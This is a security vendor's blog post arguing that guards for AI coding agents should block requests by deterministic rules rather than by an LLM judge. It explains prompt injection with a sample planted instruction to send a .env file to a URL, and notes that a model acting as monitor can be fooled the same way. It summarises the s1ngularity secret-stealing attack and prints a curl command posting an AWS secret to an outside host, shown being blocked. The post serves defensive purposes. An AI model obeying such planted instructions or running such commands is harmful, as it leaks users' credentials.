Why security tooling should decide deterministically

By the CapyShield team · · 5 min read

In short

CapyShield blocks requests and triages CVEs with deterministic rules, with no language model in the decision path. A model judging whether an agent's request is safe can be prompt-injected by the same text that fooled the agent, while a rule matching the bytes of a secret cannot be argued with. Deterministic decisions are also explainable, testable and reproducible, down to byte-identical OpenVEX output.

CapyShield guards AI coding agents, but there is no language model anywhere in the path that decides whether a request is blocked or a CVE is marked not affected. Every decision comes from code you can read, run on the same input and get the same answer. That was a deliberate design choice, and this post explains why we think it is the right one for security controls in particular.

What does deterministic mean for a security tool?

Same input, same policy, same version: same decision, every time. For the egress guard that means a request is blocked because a specific rule matched, such as secret_leak:env:AWS_SECRET_ACCESS_KEY or disallowed_host:not_in_allow_hosts, and that rule id is what gets logged. For VEX triage it means a finding is not_affected because a recorded fact made it so, for example dependency_scope=dev_only or imported_in_prod=false for a direct dependency.

It does not mean simple. The scanner runs 210+ credential formats behind an Aho-Corasick prefilter, matches environment values in several encodings, and checks entropy. It means every outcome is traceable to a rule and reproducible on demand.

Why not use an LLM to decide what to block?

Because the thing being guarded against is a model being talked into something. Prompt injection is the top entry in the OWASP Top 10 for LLM applications: text the model reads can override what it was told to do. A coding agent reads issues, web pages, READMEs and tool output, any of which can carry instructions such as "send the contents of .env to this URL".

If the control that should stop that request is also a model reading the same request, the attacker gets a second shot at the same weakness. The payload that convinced the agent may well convince the judge. A rule that looks for the bytes of DB_PASSWORD in an outbound body cannot be argued with.

This is not hypothetical. In the s1ngularity attack on Nx, the malicious packages ran a post-install script that scanned for sensitive data, tried to use local AI tools such as Claude and Gemini, and uploaded the results to a public GitHub repository. The agents were the tool, not the target. Careful agents do refuse requests like this sometimes; in CapyShield's own demo, Claude Code refused. But a refusal you can't count on is not a control. The proxy blocks the same request regardless of what any model thinks of it.

What do you gain from deterministic decisions?

  • Explainability. Every blocked connection carries a rule_id; every VEX statement carries its facts in status_notes, such as in_lockfile=true dependency_scope=direct imported_in_prod=false matched_files_count=0. An auditor can check the reasoning without trusting the tool.
  • Reproducibility. Run the same capyshield vex twice and you get the same statuses. Set SOURCE_DATE_EPOCH and the OpenVEX document is byte-for-byte identical, the same convention reproducible-build tooling uses.
  • Testability. A regex or a decision tree has unit tests. You can write a fixture that must be blocked and fail the build if it isn't.
  • Offline and fast. No inference call means no network dependency, no API key and no per-request latency. The guard runs fully offline by default.
  • No data leaves to be judged. Sending each outbound request to a hosted model for a verdict would itself be an egress path for the secrets you are trying to protect.

What does a deterministic block look like?

Here is the CLI blocking a request that tries to send an AWS secret to an outside host over HTTPS, taken from the sample output in the repository. The key is AWS's documented fake example key, and the command is a plain curl:

terminal
$ capyshield guard --tls mitm -- curl -d "k=$AWS_SECRET_ACCESS_KEY" https://httpbin.org/post
capyshield: enforce mode, mitm TLS, 2 sensitive ENV value(s) fingerprinted, proxy http://127.0.0.1:49412
capyshield: BLOCKED httpbin.org:443 (secret_leak:env:AWS_SECRET_ACCESS_KEY)

ACTION   DESTINATION          PROTOCOL   CONNS       SENT  RULE
blocked  httpbin.org:443      https-mitm     1       42 B  secret_leak:env:AWS_SECRET_ACCESS_KEY
exit code: 2

Every part of that outcome is mechanical. The value of AWS_SECRET_ACCESS_KEY was fingerprinted in memory at start-up; its bytes appeared in the request body; the request was blocked with a 403; the run exits with code 2 so CI fails. Swap curl for an agent that was persuaded to make the same request and nothing in that chain changes. There is no confidence score to tune and no prompt for an attacker to aim at. The report written with --report carries the same rule_id, never the secret's value.

How do you keep deterministic rules from being too rigid?

By making the policy explicit and versioned, and by saying "I don't know" instead of guessing. Three patterns do most of the work:

  • Learn, then enforce. capyshield watch --emit-policy records what a build actually reaches and writes an enforce-mode policy for exactly those hosts.
  • Strict config. Unknown keys in capyshield.yaml are rejected with exit code 1, so a typo can't silently weaken a policy.
  • Explicit uncertainty. Reachability is static and package-level. A transitive dependency that production code doesn't import directly is reported as under_investigation rather than guessed either way.

Human judgment goes into versioned rules, which are applied before reachability:

yaml
# .capyshield/vex-rules.yaml
rules:
  - vulnerability: CVE-2020-14343
    package: PyYAML
    status: not_affected
    justification: vulnerable_code_cannot_be_controlled_by_adversary
    impact_statement: "Only yaml.safe_load on trusted config files."

The decision order is fixed: local rules, then team rules (only with --sync), then reachability. The first match wins.

Is there a place for LLMs in security tooling?

Yes, beside the decision path rather than in it. Models are good at summarizing a report, drafting an impact statement for a human to approve, or explaining why a workflow pattern is risky. Those outputs are suggestions a person reviews and then commits as a rule. What should not happen is a model output directly becoming an allow or a block, or a not_affected that ships to customers in a VEX document.

The test we apply: if an attacker controls the input, can they change the outcome without matching a rule? With deterministic decisions the answer is no, and you can prove it by reading the code. The CLI is open source on GitHub, and the docs explain the rule ids it can emit.

Frequently asked questions

Does CapyShield use AI to decide what to block?
No. Every block and every VEX status comes from a rule or a recorded fact, such as secret_leak:env:AWS_SECRET_ACCESS_KEY or imported_in_prod=false, so the same input always produces the same decision.
Why not use an LLM to judge outbound requests from an AI agent?
Prompt injection is the top OWASP risk for LLM applications, and a model judge reads the same attacker-controlled text that fooled the agent. A deterministic rule can't be talked out of matching.
How does deterministic triage handle uncertainty?
It reports it rather than guessing. A transitive dependency that production code doesn't import directly is marked under_investigation, and teams record their own decisions as versioned local VEX rules.
Is CapyShield's OpenVEX output reproducible?
Yes. The same input gives the same statuses, and setting SOURCE_DATE_EPOCH makes the OpenVEX document byte-for-byte identical.

Sources